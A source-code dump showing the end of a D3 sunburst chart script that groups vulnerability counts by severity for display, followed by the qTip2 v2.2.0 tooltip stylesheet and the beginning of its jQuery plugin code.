422 .text(function(d) { return d.key; });
423
424 // Set position for entering and updating nodes.
425 g.attr("transform", function(d, i) {
426 return "translate(" + i * (b.w + b.s) + ", 0)";
427 });
428
429 // Remove exiting nodes.
430 g.exit().remove();
431
432 // Now move and update the percentage at the end.
433 d3.select("#trail").select("#endlabel")
434 .attr("x", (nodeArray.length) * (b.w + b.s + 30))
435 .attr("y", b.h / 2)
436 .attr("dy", "0.35em")
437 .attr("text-anchor", "middle")
438 .text(percentageString);
439
440 // Make the breadcrumb trail visible, if it's hidden.
441 d3.select("#trail")
442 .style("visibility", "");
443
444 }
445
446 function drawLegend() {
447
448 // Dimensions of legend item: width, height, spacing, radius of rounded rect.
449 var li = {
450 w: 75, h: 30, s: 3, r: 3
451 };
452
453 var legend = d3.select("#legend").append("svg:svg")
454 .attr("width", li.w)
455 .attr("height", d3.keys(colors).length * (li.h + li.s));
456
457 var g = legend.selectAll("g")
458 .data(d3.entries(colors))
459 .enter().append("svg:g")
460 .attr("transform", function(d, i) {
461 return "translate(0," + i * (li.h + li.s) + ")";
462 });
463
464 g.append("svg:rect")
465 .attr("rx", li.r)
466 .attr("ry", li.r)
467 .attr("width", li.w)
468 .attr("height", li.h)
469 .style("fill", function(d) { return d.value; });
470
471 g.append("svg:text")
472 .attr("x", li.w / 2)
473 .attr("y", li.h / 2)
474 .attr("dy", "0.35em")
475 .attr("text-anchor", "middle")
476 .text(function(d) { return d.key; });
477 }
478
479 function toggleLegend() {
480 var legend = d3.select("#legend");
481 if (legend.style("visibility") == "hidden") {
482 legend.style("visibility", "");
483 } else {
484 legend.style("visibility", "hidden");
485 }
486 }
487 function group_vulns(jotason){
488 var children = jotason["children"];
489 for (i = 0; i < 5; i++) {
490 jotason[i] = {};
491 jotason[i].value = 0;
492 }
493 jotason[0].key = "info";
494 jotason[1].key = "low";
495 jotason[2].key = "med";
496 jotason[3].key = "high";
497 jotason[4].key = "critical";
498
499 for(i = 0; i < children.length; i++){
500 if(children[i].key == 1 || children[i].key == "info"){
501 jotason[0].value += children[i].value;
502 }
503 if(children[i].key == 2 || children[i].key == "low"){
504 jotason[1].value += children[i].value;
505 }
506 if(children[i].key == 3 || children[i].key == "med"){
507 jotason[2].value += children[i].value;
508 }
509 if(children[i].key == 4 || children[i].key == "high"){
510 jotason[3].value += children[i].value;
511 }
512 if(children[i].key == 5 || children[i].key == "critical"){
513 jotason[4].value += children[i].value;
514 }
515 }
516 jotason["children"] = [];
517 for (i = 0; i < 5; i++) {
518 jotason["children"].push(jotason[i]);
519 }
520 return jotason;
521 }
522
523 }
0 /*
1 * qTip2 - Pretty powerful tooltips - v2.2.0
2 * http://qtip2.com
3 *
4 * Copyright (c) 2014 Craig Michael Thompson
5 * Released under the MIT, GPL licenses
6 * http://jquery.org/license
7 *
8 * Date: Sat Mar 15 2014 08:21 EDT-0400
9 * Plugins: None
10 * Styles: None
11 */
12 .qtip{
13 position: absolute;
14 left: -28000px;
15 top: -28000px;
16 display: none;
17
18 max-width: 280px;
19 min-width: 50px;
20
21 font-size: 10.5px;
22 line-height: 12px;
23
24 direction: ltr;
25
26 box-shadow: none;
27 padding: 0;
28 }
29 .qtip p{margin: 1px;}
30
31 .qtip-content{
32 position: relative;
33 padding: 5px 9px;
34 overflow: hidden;
35
36 text-align: left;
37 word-wrap: break-word;
38 }
39
40 .qtip-titlebar{
41 position: relative;
42 padding: 5px 35px 5px 10px;
43 overflow: hidden;
44
45 border-width: 0 0 1px;
46 font-weight: bold;
47 }
48
49 .qtip-titlebar + .qtip-content{ border-top-width: 0 !important; }
50
51 /* Default close button class */
52 .qtip-close{
53 position: absolute;
54 right: -9px; top: -9px;
55
56 cursor: pointer;
57 outline: medium none;
58
59 border-width: 1px;
60 border-style: solid;
61 border-color: transparent;
62 }
63
64 .qtip-titlebar .qtip-close{
65 right: 4px; top: 50%;
66 margin-top: -9px;
67 }
68
69 * html .qtip-titlebar .qtip-close{ top: 16px; } /* IE fix */
70
71 .qtip-titlebar .ui-icon,
72 .qtip-icon .ui-icon{
73 display: block;
74 text-indent: -1000em;
75 direction: ltr;
76 }
77
78 .qtip-icon, .qtip-icon .ui-icon{
79 -moz-border-radius: 3px;
80 -webkit-border-radius: 3px;
81 border-radius: 3px;
82 text-decoration: none;
83 }
84
85 .qtip-icon .ui-icon{
86 width: 18px;
87 height: 14px;
88
89 line-height: 14px;
90 text-align: center;
91 text-indent: 0;
92 font: normal bold 10px/13px Tahoma,sans-serif;
93
94 color: inherit;
95 background: transparent none no-repeat -100em -100em;
96 }
97
98 /* Applied to 'focused' tooltips e.g. most recently displayed/interacted with */
99 .qtip-focus{}
100
101 /* Applied on hover of tooltips i.e. added/removed on mouseenter/mouseleave respectively */
102 .qtip-hover{}
103
104 /* Default tooltip style */
105 .qtip-default{
106 border-width: 1px;
107 border-style: solid;
108 border-color: #333;
109 background-color: #555;
110 color: #FFF;
111 border-radius: 5px;
112 }
113
114 .qtip-default .qtip-titlebar{
115 background-color: #FFEF93;
116 }
117
118 .qtip-default .qtip-icon{
119 border-color: #CCC;
120 background: #F1F1F1;
121 color: #777;
122 }
123
124 .qtip-default .qtip-titlebar .qtip-close{
125 border-color: #AAA;
126 color: #111;
127 }
128
0 /*
1 * qTip2 - Pretty powerful tooltips - v2.2.0
2 * http://qtip2.com
3 *
4 * Copyright (c) 2014 Craig Michael Thompson
5 * Released under the MIT, GPL licenses
6 * http://jquery.org/license
7 *
8 * Date: Sat Mar 15 2014 08:21 EDT-0400
9 * Plugins: None
10 * Styles: None
11 */
12 /*global window: false, jQuery: false, console: false, define: false */
13
14 /* Cache window, document, undefined */
15 (function( window, document, undefined ) {
16
17 // Uses AMD or browser globals to create a jQuery plugin.
18 (function( factory ) {
19 "use strict";
20 if(typeof define === 'function' && define.amd) {
21 define(['jquery'], factory);
22 }
23 else if(jQuery && !jQuery.fn.qtip) {
24 factory(jQuery);
25 }
26 }
27 (function($) {
28 "use strict"; // Enable ECMAScript "strict" operation for this function. See more: http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/
29
30 ;// Munge the primitives - Paul Irish tip
31 var TRUE = true,
32 FALSE = false,
33 NULL = null,
34
35 // Common variables
36 X = 'x', Y = 'y',
37 WIDTH = 'width',
38 HEIGHT = 'height',
39
40 // Positioning sides
41 TOP = 'top',
42 LEFT = 'left',
43 BOTTOM = 'bottom',
44 RIGHT = 'right',
45 CENTER = 'center',
46
47 // Position adjustment types
48 FLIP = 'flip',
49 FLIPINVERT = 'flipinvert',
50 SHIFT = 'shift',
51
52 // Shortcut vars
53 QTIP, PROTOTYPE, CORNER, CHECKS,
54 PLUGINS = {},
55 NAMESPACE = 'qtip',
56 ATTR_HAS = 'data-hasqtip',
57 ATTR_ID = 'data-qtip-id',
58 WIDGET = ['ui-widget', 'ui-tooltip'],
59 SELECTOR = '.'+NAMESPACE,
60 INACTIVE_EVENTS = 'click dblclick mousedown mouseup mousemove mouseleave mouseenter'.split(' '),
61
62 CLASS_FIXED = NAMESPACE+'-fixed',
63 CLASS_DEFAULT = NAMESPACE + '-default',
64 CLASS_FOCUS = NAMESPACE + '-focus',
65 CLASS_HOVER = NAMESPACE + '-hover',
66 CLASS_DISABLED = NAMESPACE+'-disabled',
67
68 replaceSuffix = '_replacedByqTip',
69 oldtitle = 'oldtitle',
70 trackingBound,
71
72 // Browser detection
73 BROWSER = {
74 /*
75 * IE version detection
76 *
77 * Adapted from: http://ajaxian.com/archives/attack-of-the-ie-conditional-comment
78 * Credit to James Padolsey for the original implemntation!
79 */
80 ie: (function(){
81 var v = 3, div = document.createElement('div');
82 while ((div.innerHTML = '<!--[if gt IE '+(++v)+']><i></i><![endif]-->')) {
83 if(!div.getElementsByTagName('i')[0]) { break; }
84 }
85 return v > 4 ? v : NaN;
86 }()),
87
88 /*
89 * iOS version detection
90 */
91 iOS: parseFloat(
92 ('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1])
93 .replace('undefined', '3_2').replace('_', '.').replace('_', '')
94 ) || FALSE
95 };
96
97 ;function QTip(target, options, id, attr) {
98 // Elements and ID
99 this.id = id;
100 this.target = target;
101 this.tooltip = NULL;
102 this.elements = { target: target };
103
104 // Internal constructs
105 this._id = NAMESPACE + '-' + id;
106 this.timers = { img: {} };
107 this.options = options;
108 this.plugins = {};
109
110 // Cache object
111 this.cache = {
112 event: {},
113 target: $(),
114 disabled: FALSE,
115 attr: attr,
116 onTooltip: FALSE,
117 lastClass: ''
118 };
119
120 // Set the initial flags
121 this.rendered = this.destroyed = this.disabled = this.waiting =
122 this.hiddenDuringWait = this.positioning = this.triggering = FALSE;
123 }
124 PROTOTYPE = QTip.prototype;
125
126 PROTOTYPE._when = function(deferreds) {
127 return $.when.apply($, deferreds);
128 };
129
130 PROTOTYPE.render = function(show) {
131 if(this.rendered || this.destroyed) { return this; } // If tooltip has already been rendered, exit
132
133 var self = this,
134 options = this.options,
135 cache = this.cache,
136 elements = this.elements,
137 text = options.content.text,
138 title = options.content.title,
139 button = options.content.button,
140 posOptions = options.position,
141 namespace = '.'+this._id+' ',
142 deferreds = [],
143 tooltip;
144
145 // Add ARIA attributes to target
146 $.attr(this.target[0], 'aria-describedby', this._id);
147
148 // Create tooltip element
149 this.tooltip = elements.tooltip = tooltip = $('<div/>', {
150 'id': this._id,
151 'class': [ NAMESPACE, CLASS_DEFAULT, options.style.classes, NAMESPACE + '-pos-' + options.position.my.abbrev() ].join(' '),
152 'width': options.style.width || '',
153 'height': options.style.height || '',
154 'tracking': posOptions.target === 'mouse' && posOptions.adjust.mouse,
155
156 /* ARIA specific attributes */
157 'role': 'alert',
158 'aria-live': 'polite',
159 'aria-atomic': FALSE,
160 'aria-describedby': this._id + '-content',
161 'aria-hidden': TRUE
162 })
163 .toggleClass(CLASS_DISABLED, this.disabled)
164 .attr(ATTR_ID, this.id)
165 .data(NAMESPACE, this)
166 .appendTo(posOptions.container)
167 .append(
168 // Create content element
169 elements.content = $('<div />', {
170 'class': NAMESPACE + '-content',
171 'id': this._id + '-content',
172 'aria-atomic': TRUE
173 })
174 );
175
176 // Set rendered flag and prevent redundant reposition calls for now
177 this.rendered = -1;
178 this.positioning = TRUE;
179
180 // Create title...
181 if(title) {
182 this._createTitle();
183
184 // Update title only if its not a callback (called in toggle if so)
185 if(!$.isFunction(title)) {
186 deferreds.push( this._updateTitle(title, FALSE) );
187 }
188 }
189
190 // Create button
191 if(button) { this._createButton(); }
192
193 // Set proper rendered flag and update content if not a callback function (called in toggle)
194 if(!$.isFunction(text)) {
195 deferreds.push( this._updateContent(text, FALSE) );
196 }
197 this.rendered = TRUE;
198
199 // Setup widget classes
200 this._setWidget();
201
202 // Initialize 'render' plugins
203 $.each(PLUGINS, function(name) {
204 var instance;
205 if(this.initialize === 'render' && (instance = this(self))) {
206 self.plugins[name] = instance;
207 }
208 });
209
210 // Unassign initial events and assign proper events
211 this._unassignEvents();
212 this._assignEvents();
213
214 // When deferreds have completed
215 this._when(deferreds).then(function() {
216 // tooltiprender event
217 self._trigger('render');
218
219 // Reset flags
220 self.positioning = FALSE;
221
222 // Show tooltip if not hidden during wait period
223 if(!self.hiddenDuringWait && (options.show.ready || show)) {
224 self.toggle(TRUE, cache.event, FALSE);
225 }
226 self.hiddenDuringWait = FALSE;
227 });
228
229 // Expose API
230 QTIP.api[this.id] = this;
231
232 return this;
233 };
234
235 PROTOTYPE.destroy = function(immediate) {
236 // Set flag the signify destroy is taking place to plugins
237 // and ensure it only gets destroyed once!
238 if(this.destroyed) { return this.target; }
239
240 function process() {
241 if(this.destroyed) { return; }
242 this.destroyed = TRUE;
243
244 var target = this.target,
245 title = target.attr(oldtitle);
246
247 // Destroy tooltip if rendered
248 if(this.rendered) {
249 this.tooltip.stop(1,0).find('*').remove().end().remove();
250 }
251
252 // Destroy all plugins
253 $.each(this.plugins, function(name) {
254 this.destroy && this.destroy();
255 });
256
257 // Clear timers and remove bound events
258 clearTimeout(this.timers.show);
259 clearTimeout(this.timers.hide);
260 this._unassignEvents();
261
262 // Remove api object and ARIA attributes
263 target.removeData(NAMESPACE)
264 .removeAttr(ATTR_ID)
265 .removeAttr(ATTR_HAS)
266 .removeAttr('aria-describedby');
267
268 // Reset old title attribute if removed
269 if(this.options.suppress && title) {
270 target.attr('title', title).removeAttr(oldtitle);
271 }
272
273 // Remove qTip events associated with this API
274 this._unbind(target);
275
276 // Remove ID from used id objects, and delete object references
277 // for better garbage collection and leak protection
278 this.options = this.elements = this.cache = this.timers =
279 this.plugins = this.mouse = NULL;
280
281 // Delete epoxsed API object
282 delete QTIP.api[this.id];
283 }
284
285 // If an immediate destory is needed
286 if((immediate !== TRUE || this.triggering === 'hide') && this.rendered) {
287 this.tooltip.one('tooltiphidden', $.proxy(process, this));
288 !this.triggering && this.hide();
289 }
290
291 // If we're not in the process of hiding... process
292 else { process.call(this); }
293
294 return this.target;
295 };
296
297 ;function invalidOpt(a) {
298 return a === NULL || $.type(a) !== 'object';
299 }
300
301 function invalidContent(c) {
302 return !( $.isFunction(c) || (c && c.attr) || c.length || ($.type(c) === 'object' && (c.jquery || c.then) ));
303 }
304
305 // Option object sanitizer
306 function sanitizeOptions(opts) {
307 var content, text, ajax, once;
308
309 if(invalidOpt(opts)) { return FALSE; }
310
311 if(invalidOpt(opts.metadata)) {
312 opts.metadata = { type: opts.metadata };
313 }
314
315 if('content' in opts) {
316 content = opts.content;
317
318 if(invalidOpt(content) || content.jquery || content.done) {
319 content = opts.content = {
320 text: (text = invalidContent(content) ? FALSE : content)
321 };
322 }
323 else { text = content.text; }
324
325 // DEPRECATED - Old content.ajax plugin functionality
326 // Converts it into the proper Deferred syntax
327 if('ajax' in content) {
328 ajax = content.ajax;
329 once = ajax && ajax.once !== FALSE;
330 delete content.ajax;
331
332 content.text = function(event, api) {
333 var loading = text || $(this).attr(api.options.content.attr) || 'Loading...',
334
335 deferred = $.ajax(
336 $.extend({}, ajax, { context: api })
337 )
338 .then(ajax.success, NULL, ajax.error)
339 .then(function(content) {
340 if(content && once) { api.set('content.text', content); }
341 return content;
342 },
343 function(xhr, status, error) {
344 if(api.destroyed || xhr.status === 0) { return; }
345 api.set('content.text', status + ': ' + error);
346 });
347
348 return !once ? (api.set('content.text', loading), deferred) : loading;
349 };
350 }
351
352 if('title' in content) {
353 if(!invalidOpt(content.title)) {
354 content.button = content.title.button;
355 content.title = content.title.text;
356 }
357
358 if(invalidContent(content.title || FALSE)) {
359 content.title = FALSE;
360 }
361 }
362 }
363
364 if('position' in opts && invalidOpt(opts.position)) {
365 opts.position = { my: opts.position, at: opts.position };
366 }
367
368 if('show' in opts && invalidOpt(opts.show)) {
369 opts.show = opts.show.jquery ? { target: opts.show } :
370 opts.show === TRUE ? { ready: TRUE } : { event: opts.show };
371 }
372
373 if('hide' in opts && invalidOpt(opts.hide)) {
374 opts.hide = opts.hide.jquery ? { target: opts.hide } : { event: opts.hide };
375 }
376
377 if('style' in opts && invalidOpt(opts.style)) {
378 opts.style = { classes: opts.style };
379 }
380
381 // Sanitize plugin options
382 $.each(PLUGINS, function() {
383 this.sanitize && this.sanitize(opts);
384 });
385
386 return opts;
387 }
388
389 // Setup builtin .set() option checks
390 CHECKS = PROTOTYPE.checks = {
391 builtin: {
392 // Core checks
393 '^id$': function(obj, o, v, prev) {
394 var id = v === TRUE ? QTIP.nextid : v,
395 new_id = NAMESPACE + '-' + id;
396
397 if(id !== FALSE && id.length > 0 && !$('#'+new_id).length) {
398 this._id = new_id;
399
400 if(this.rendered) {
401 this.tooltip[0].id = this._id;
402 this.elements.content[0].id = this._id + '-content';
403 this.elements.title[0].id = this._id + '-title';
404 }
405 }
406 else { obj[o] = prev; }
407 },
408 '^prerender': function(obj, o, v) {
409 v && !this.rendered && this.render(this.options.show.ready);
410 },
411
412 // Content checks
413 '^content.text$': function(obj, o, v) {
414 this._updateContent(v);
415 },
416 '^content.attr$': function(obj, o, v, prev) {
417 if(this.options.content.text === this.target.attr(prev)) {
418 this._updateContent( this.target.attr(v) );
419 }
420 },
421 '^content.title$': function(obj, o, v) {
422 // Remove title if content is null
423 if(!v) { return this._removeTitle(); }
424
425 // If title isn't already created, create it now and update
426 v && !this.elements.title && this._createTitle();
427 this._updateTitle(v);
428 },
429 '^content.button$': function(obj, o, v) {
430 this._updateButton(v);
431 },
432 '^content.title.(text|button)$': function(obj, o, v) {
433 this.set('content.'+o, v); // Backwards title.text/button compat
434 },
435
436 // Position checks
437 '^position.(my|at)$': function(obj, o, v){
438 'string' === typeof v && (obj[o] = new CORNER(v, o === 'at'));
439 },
440 '^position.container$': function(obj, o, v){
441 this.rendered && this.tooltip.appendTo(v);
442 },
443
444 // Show checks
445 '^show.ready$': function(obj, o, v) {
446 v && (!this.rendered && this.render(TRUE) || this.toggle(TRUE));
447 },
448
449 // Style checks
450 '^style.classes$': function(obj, o, v, p) {
451 this.rendered && this.tooltip.removeClass(p).addClass(v);
452 },
453 '^style.(width|height)': function(obj, o, v) {
454 this.rendered && this.tooltip.css(o, v);
455 },
456 '^style.widget|content.title': function() {
457 this.rendered && this._setWidget();
458 },
459 '^style.def': function(obj, o, v) {
460 this.rendered && this.tooltip.toggleClass(CLASS_DEFAULT, !!v);
461 },
462
463 // Events check
464 '^events.(render|show|move|hide|focus|blur)$': function(obj, o, v) {
465 this.rendered && this.tooltip[($.isFunction(v) ? '' : 'un') + 'bind']('tooltip'+o, v);
466 },
467
468 // Properties which require event reassignment
469 '^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)': function() {
470 if(!this.rendered) { return; }
471
472 // Set tracking flag
473 var posOptions = this.options.position;
474 this.tooltip.attr('tracking', posOptions.target === 'mouse' && posOptions.adjust.mouse);
475
476 // Reassign events
477 this._unassignEvents();
478 this._assignEvents();
479 }
480 }
481 };
482
483 // Dot notation converter
484 function convertNotation(options, notation) {
485 var i = 0, obj, option = options,
486
487 // Split notation into array
488 levels = notation.split('.');
489
490 // Loop through
491 while( option = option[ levels[i++] ] ) {
492 if(i < levels.length) { obj = option; }
493 }
494
495 return [obj || options, levels.pop()];
496 }
497
498 PROTOTYPE.get = function(notation) {
499 if(this.destroyed) { return this; }
500
501 var o = convertNotation(this.options, notation.toLowerCase()),
502 result = o[0][ o[1] ];
503
504 return result.precedance ? result.string() : result;
505 };
506
507 function setCallback(notation, args) {
508 var category, rule, match;
509
510 for(category in this.checks) {
511 for(rule in this.checks[category]) {
512 if(match = (new RegExp(rule, 'i')).exec(notation)) {
513 args.push(match);
514
515 if(category === 'builtin' || this.plugins[category]) {
516 this.checks[category][rule].apply(
517 this.plugins[category] || this, args
518 );
519 }
520 }
521 }
522 }
523 }
524
525 var rmove = /^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,
526 rrender = /^prerender|show\.ready/i;
527
528 PROTOTYPE.set = function(option, value) {
529 if(this.destroyed) { return this; }
530
531 var rendered = this.rendered,
532 reposition = FALSE,
533 options = this.options,
534 checks = this.checks,
535 name;
536
537 // Convert singular option/value pair into object form
538 if('string' === typeof option) {
539 name = option; option = {}; option[name] = value;
540 }
541 else { option = $.extend({}, option); }
542
543 // Set all of the defined options to their new values
544 $.each(option, function(notation, value) {
545 if(rendered && rrender.test(notation)) {
546 delete option[notation]; return;
547 }
548
549 // Set new obj value
550 var obj = convertNotation(options, notation.toLowerCase()), previous;
551 previous = obj[0][ obj[1] ];
552 obj[0][ obj[1] ] = value && value.nodeType ? $(value) : value;
553
554 // Also check if we need to reposition
555 reposition = rmove.test(notation) || reposition;
556
557 // Set the new params for the callback
558 option[notation] = [obj[0], obj[1], value, previous];
559 });
560
561 // Re-sanitize options
562 sanitizeOptions(options);
563
564 /*
565 * Execute any valid callbacks for the set options
566 * Also set positioning flag so we don't get loads of redundant repositioning calls.
567 */
568 this.positioning = TRUE;
569 $.each(option, $.proxy(setCallback, this));
570 this.positioning = FALSE;
571
572 // Update position if needed
573 if(this.rendered && this.tooltip[0].offsetWidth > 0 && reposition) {
574 this.reposition( options.position.target === 'mouse' ? NULL : this.cache.event );
575 }
576
577 return this;
578 };
579
580 ;PROTOTYPE._update = function(content, element, reposition) {
581 var self = this,
582 cache = this.cache;
583
584 // Make sure tooltip is rendered and content is defined. If not return
585 if(!this.rendered || !content) { return FALSE; }
586
587 // Use function to parse content
588 if($.isFunction(content)) {
589 content = content.call(this.elements.target, cache.event, this) || '';
590 }
591
592 // Handle deferred content
593 if($.isFunction(content.then)) {
594 cache.waiting = TRUE;
595 return content.then(function(c) {
596 cache.waiting = FALSE;
597 return self._update(c, element);
598 }, NULL, function(e) {
599 return self._update(e, element);
600 });
601 }
602
603 // If content is null... return false
604 if(content === FALSE || (!content && content !== '')) { return FALSE; }
605
606 // Append new content if its a DOM array and show it if hidden
607 if(content.jquery && content.length > 0) {
608 element.empty().append(
609 content.css({ display: 'block', visibility: 'visible' })
610 );
611 }
612
613 // Content is a regular string, insert the new content
614 else { element.html(content); }
615
616 // Wait for content to be loaded, and reposition
617 return this._waitForContent(element).then(function(images) {
618 if(images.images && images.images.length && self.rendered && self.tooltip[0].offsetWidth > 0) {
619 self.reposition(cache.event, !images.length);
620 }
621 });
622 };
623
624 PROTOTYPE._waitForContent = function(element) {
625 var cache = this.cache;
626
627 // Set flag
628 cache.waiting = TRUE;
629
630 // If imagesLoaded is included, ensure images have loaded and return promise
631 return ( $.fn.imagesLoaded ? element.imagesLoaded() : $.Deferred().resolve([]) )
632 .done(function() { cache.waiting = FALSE; })
633 .promise();
634 };
635
636 PROTOTYPE._updateContent = function(content, reposition) {
637 this._update(content, this.elements.content, reposition);
638 };
639
640 PROTOTYPE._updateTitle = function(content, reposition) {
641 if(this._update(content, this.elements.title, reposition) === FALSE) {
642 this._removeTitle(FALSE);
643 }
644 };
645
646 PROTOTYPE._createTitle = function()
647 {
648 var elements = this.elements,
649 id = this._id+'-title';
650
651 // Destroy previous title element, if present
652 if(elements.titlebar) { this._removeTitle(); }
653
654 // Create title bar and title elements
655 elements.titlebar = $('<div />', {
656 'class': NAMESPACE + '-titlebar ' + (this.options.style.widget ? createWidgetClass('header') : '')
657 })
658 .append(
659 elements.title = $('<div />', {
660 'id': id,
661 'class': NAMESPACE + '-title',
662 'aria-atomic': TRUE
663 })
664 )
665 .insertBefore(elements.content)
666
667 // Button-specific events
668 .delegate('.qtip-close', 'mousedown keydown mouseup keyup mouseout', function(event) {
669 $(this).toggleClass('ui-state-active ui-state-focus', event.type.substr(-4) === 'down');
670 })
671 .delegate('.qtip-close', 'mouseover mouseout', function(event){
672 $(this).toggleClass('ui-state-hover', event.type === 'mouseover');
673 });
674
675 // Create button if enabled
676 if(this.options.content.button) { this._createButton(); }
677 };
678
679 PROTOTYPE._removeTitle = function(reposition)
680 {
681 var elements = this.elements;
682
683 if(elements.title) {
684 elements.titlebar.remove();
685 elements.titlebar = elements.title = elements.button = NULL;
686
687 // Reposition if enabled
688 if(reposition !== FALSE) { this.reposition(); }
689 }
690 };
691
692 ;PROTOTYPE.reposition = function(event, effect) {
693 if(!this.rendered || this.positioning || this.destroyed) { return this; }
694
695 // Set positioning flag
696 this.positioning = TRUE;
697
698 var cache = this.cache,
699 tooltip = this.tooltip,
700 posOptions = this.options.position,
701 target = posOptions.target,
702 my = posOptions.my,
703 at = posOptions.at,
704 viewport = posOptions.viewport,
705 container = posOptions.container,
706 adjust = posOptions.adjust,
707 method = adjust.method.split(' '),
708 tooltipWidth = tooltip.outerWidth(FALSE),
709 tooltipHeight = tooltip.outerHeight(FALSE),
710 targetWidth = 0,
711 targetHeight = 0,
712 type = tooltip.css('position'),
713 position = { left: 0, top: 0 },
714 visible = tooltip[0].offsetWidth > 0,
715 isScroll = event && event.type === 'scroll',
716 win = $(window),
717 doc = container[0].ownerDocument,
718 mouse = this.mouse,
719 pluginCalculations, offset;
720
721 // Check if absolute position was passed
722 if($.isArray(target) && target.length === 2) {
723 // Force left top and set position
724 at = { x: LEFT, y: TOP };
725 position = { left: target[0], top: target[1] };
726 }
727
728 // Check if mouse was the target
729 else if(target === 'mouse') {
730 // Force left top to allow flipping
731 at = { x: LEFT, y: TOP };
732
733 // Use the cached mouse coordinates if available, or passed event has no coordinates
734 if(mouse && mouse.pageX && (adjust.mouse || !event || !event.pageX) ) {
735 event = mouse;
736 }
737
738 // If the passed event has no coordinates (such as a scroll event)
739 else if(!event || !event.pageX) {
740 // Use the mouse origin that caused the show event, if distance hiding is enabled
741 if((!adjust.mouse || this.options.show.distance) && cache.origin && cache.origin.pageX) {
742 event = cache.origin;
743 }
744
745 // Use cached event for resize/scroll events
746 else if(!event || (event && (event.type === 'resize' || event.type === 'scroll'))) {
747 event = cache.event;
748 }
749 }
750
751 // Calculate body and container offset and take them into account below
752 if(type !== 'static') { position = container.offset(); }
753 if(doc.body.offsetWidth !== (window.innerWidth || doc.documentElement.clientWidth)) {
754 offset = $(document.body).offset();
755 }
756
757 // Use event coordinates for position
758 position = {
759 left: event.pageX - position.left + (offset && offset.left || 0),
760 top: event.pageY - position.top + (offset && offset.top || 0)
761 };
762
763 // Scroll events are a pain, some browsers
764 if(adjust.mouse && isScroll && mouse) {
765 position.left -= (mouse.scrollX || 0) - win.scrollLeft();
766 position.top -= (mouse.scrollY || 0) - win.scrollTop();
767 }
768 }
769
770 // Target wasn't mouse or absolute...
771 else {
772 // Check if event targetting is being used
773 if(target === 'event') {
774 if(event && event.target && event.type !== 'scroll' && event.type !== 'resize') {
775 cache.target = $(event.target);
776 }
777 else if(!event.target) {
778 cache.target = this.elements.target;
779 }
780 }
781 else if(target !== 'event'){
782 cache.target = $(target.jquery ? target : this.elements.target);
783 }
784 target = cache.target;
785
786 // Parse the target into a jQuery object and make sure there's an element present
787 target = $(target).eq(0);
788 if(target.length === 0) { return this; }
789
790 // Check if window or document is the target
791 else if(target[0] === document || target[0] === window) {
792 targetWidth = BROWSER.iOS ? window.innerWidth : target.width();
793 targetHeight = BROWSER.iOS ? window.innerHeight : target.height();
794
795 if(target[0] === window) {
796 position = {
797 top: (viewport || target).scrollTop(),
798 left: (viewport || target).scrollLeft()
799 };
800 }
801 }
802
803 // Check if the target is an <AREA> element
804 else if(PLUGINS.imagemap && target.is('area')) {
805 pluginCalculations = PLUGINS.imagemap(this, target, at, PLUGINS.viewport ? method : FALSE);
806 }
807
808 // Check if the target is an SVG element
809 else if(PLUGINS.svg && target && target[0].ownerSVGElement) {
810 pluginCalculations = PLUGINS.svg(this, target, at, PLUGINS.viewport ? method : FALSE);
811 }
812
813 // Otherwise use regular jQuery methods
814 else {
815 targetWidth = target.outerWidth(FALSE);
816 targetHeight = target.outerHeight(FALSE);
817 position = target.offset();
818 }
819
820 // Parse returned plugin values into proper variables
821 if(pluginCalculations) {
822 targetWidth = pluginCalculations.width;
823 targetHeight = pluginCalculations.height;
824 offset = pluginCalculations.offset;
825 position = pluginCalculations.position;
826 }
827
828 // Adjust position to take into account offset parents
829 position = this.reposition.offset(target, position, container);
830
831 // Adjust for position.fixed tooltips (and also iOS scroll bug in v3.2-4.0 & v4.3-4.3.2)
832 if((BROWSER.iOS > 3.1 && BROWSER.iOS < 4.1) ||
833 (BROWSER.iOS >= 4.3 && BROWSER.iOS < 4.33) ||
834 (!BROWSER.iOS && type === 'fixed')
835 ){
836 position.left -= win.scrollLeft();
837 position.top -= win.scrollTop();
838 }
839
840 // Adjust position relative to target
841 if(!pluginCalculations || (pluginCalculations && pluginCalculations.adjustable !== FALSE)) {
842 position.left += at.x === RIGHT ? targetWidth : at.x === CENTER ? targetWidth / 2 : 0;
843 position.top += at.y === BOTTOM ? targetHeight : at.y === CENTER ? targetHeight / 2 : 0;
844 }
845 }
846
847 // Adjust position relative to tooltip
848 position.left += adjust.x + (my.x === RIGHT ? -tooltipWidth : my.x === CENTER ? -tooltipWidth / 2 : 0);
849 position.top += adjust.y + (my.y === BOTTOM ? -tooltipHeight : my.y === CENTER ? -tooltipHeight / 2 : 0);
850
851 // Use viewport adjustment plugin if enabled
852 if(PLUGINS.viewport) {
853 position.adjusted = PLUGINS.viewport(
854 this, position, posOptions, targetWidth, targetHeight, tooltipWidth, tooltipHeight
855 );
856
857 // Apply offsets supplied by positioning plugin (if used)
858 if(offset && position.adjusted.left) { position.left += offset.left; }
859 if(offset && position.adjusted.top) { position.top += offset.top; }
860 }
861
862 // Viewport adjustment is disabled, set values to zero
863 else { position.adjusted = { left: 0, top: 0 }; }
864
865 // tooltipmove event
866 if(!this._trigger('move', [position, viewport.elem || viewport], event)) { return this; }
867 delete position.adjusted;
868
869 // If effect is disabled, target it mouse, no animation is defined or positioning gives NaN out, set CSS directly
870 if(effect === FALSE || !visible || isNaN(position.left) || isNaN(position.top) || target === 'mouse' || !$.isFunction(posOptions.effect)) {
871 tooltip.css(position);
872 }
873
874 // Use custom function if provided
875 else if($.isFunction(posOptions.effect)) {
876 posOptions.effect.call(tooltip, this, $.extend({}, position));
877 tooltip.queue(function(next) {
878 // Reset attributes to avoid cross-browser rendering bugs
879 $(this).css({ opacity: '', height: '' });
880 if(BROWSER.ie) { this.style.removeAttribute('filter'); }
881
882 next();
883 });
884 }
885
886 // Set positioning flag
887 this.positioning = FALSE;
888
889 return this;
890 };
891
892 // Custom (more correct for qTip!) offset calculator
893 PROTOTYPE.reposition.offset = function(elem, pos, container) {
894 if(!container[0]) { return pos; }
895
896 var ownerDocument = $(elem[0].ownerDocument),
897 quirks = !!BROWSER.ie && document.compatMode !== 'CSS1Compat',
898 parent = container[0],
899 scrolled, position, parentOffset, overflow;
900
901 function scroll(e, i) {
902 pos.left += i * e.scrollLeft();
903 pos.top += i * e.scrollTop();
904 }
905
